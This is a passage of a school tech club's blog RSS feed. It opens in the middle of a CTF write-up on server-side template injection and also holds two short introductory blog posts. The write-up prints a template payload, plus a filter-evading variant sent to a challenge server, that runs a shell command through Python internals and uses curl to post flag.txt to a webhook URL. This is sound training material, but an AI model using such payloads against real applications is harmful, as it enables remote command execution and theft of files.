&lt;h1&gt; Hello, {{(().__class__.__bases__[0].__subclasses__()[118].__init__.__globals__[&quot;__builtins__&quot;])[&quot;__im&quot;+&quot;port__&quot;](&quot;o&quot;+&quot;s&quot;).system(&quot;curl -X POST --data-binary @flag.txt https://webhook.site/40a3fae4-f378-4100-837c-8f94953fbbc9&quot;)}}
</code></pre>
<p>The first line is our payload, and after running the same blocklist operations as the server, the resulting string looks ok.</p>
<h3>Sending the payload</h3>
<p><code>http://35.240.143.82:4209/?name={read{(()._read_class_read_._read_bases_read_[0]._read_subclasses_read_()[118]._read_init_read_._read_globals_read_[&quot;_read_builtins_read_&quot;])[&quot;_read_im&quot;+&quot;port_read_&quot;](&quot;o&quot;+&quot;s&quot;).sreadystem(&quot;curl -X POST --data-binary @flfreadlag.txtag.txt https://webhook.site/40a3fae4-f378-4100-837c-8f94953fbbc9&quot;)}read}</code></p>
<p>And after checking webhook.site</p>
<pre><code>flag{server_side_rendering_is_fun_but_dangerous_sometimes}
</code></pre>
<p>Flag obtained</p>
]]></description><link>https://nush.app/blog/2021/12/21/avctf2021-ssti</link><guid isPermaLink="true">https://nush.app/blog/2021/12/21/avctf2021-ssti</guid><pubDate>Tue, 21 Dec 2021 00:00:00 GMT</pubDate></item><item><title><![CDATA[Hello CTF!]]></title><description><![CDATA[<p>Sorry to disappoint- this is another hello world post. You can scroll past now :)</p>
]]></description><link>https://nush.app/blog/2021/11/18/hello-ctf</link><guid isPermaLink="true">https://nush.app/blog/2021/11/18/hello-ctf</guid><pubDate>Thu, 18 Nov 2021 00:00:00 GMT</pubDate></item><item><title><![CDATA[Hello World!]]></title><description><![CDATA[<p>As per tradition, to celebrate the launch of the AppVenture Website featuring this shiny new blog (finally, after bursts of development over the year), we&#39;ll have:</p>
<pre><code class="language-javascript">console.log(&quot;Hello, World!&quot;);
</code></pre>
<p>Jokes aside, while we don&#39;t have a fixed posting schedule presently, here are things you can expect: write-ups after our CTF events, medium-style articles by our members on the latest tech news, reflections and sharings on projects, or even musings from interesting experiences and events we hold for the school and community.</p>
<p>Now, if you&#39;re curious why this is a thing: my motivation for redesigning the AppVenture website (again) was because I hoped to make something that&#39;s simpler and maintainable in the future. I actually thought the original website in Go was really nice, but because AppVenture is moving to TypeScript and Vue, it&#39;ll be difficult to get people who can continue to maintain in the long term. I didn&#39;t like the next version in Nuxt.js, however, because with the little content we had, setting up a database felt overkill. It also meant more annoying backups than just copying a git repository around. And, that&#39;s how we ended up with Gridsome.</p>
<p>Since we&#39;re going to redesign the site, I thought it&#39;ll be a good chance to include more than just a project showcase. For an interest group, a blog seemed like a great chance for members to share about any cool things they may be up to. Especially with the new stuff launched this year, such as the cybersecurity division and monthly sharings. Of course, I can&#39;t predict how the future of this will go though, since it&#39;ll launch after I graduate. But, I&#39;m pretty optimistic about it.</p>
<p>If you&#39;re interested in this blog, stay tuned for more!</p>
<p>(Psst: If you&#39;re a nushie interested to write something or simply cross-post your articles here, feel free to <a href="/contact">contact us</a>)</p>
]]></description><link>https://nush.app/blog/2021/11/18/hello-world</link><guid isPermaLink="true">https://nush.app/blog/2021/11/18/hello-world</guid><pubDate>Thu, 18 Nov 2021 00:00:00 GMT</pubDate></item></channel></rss>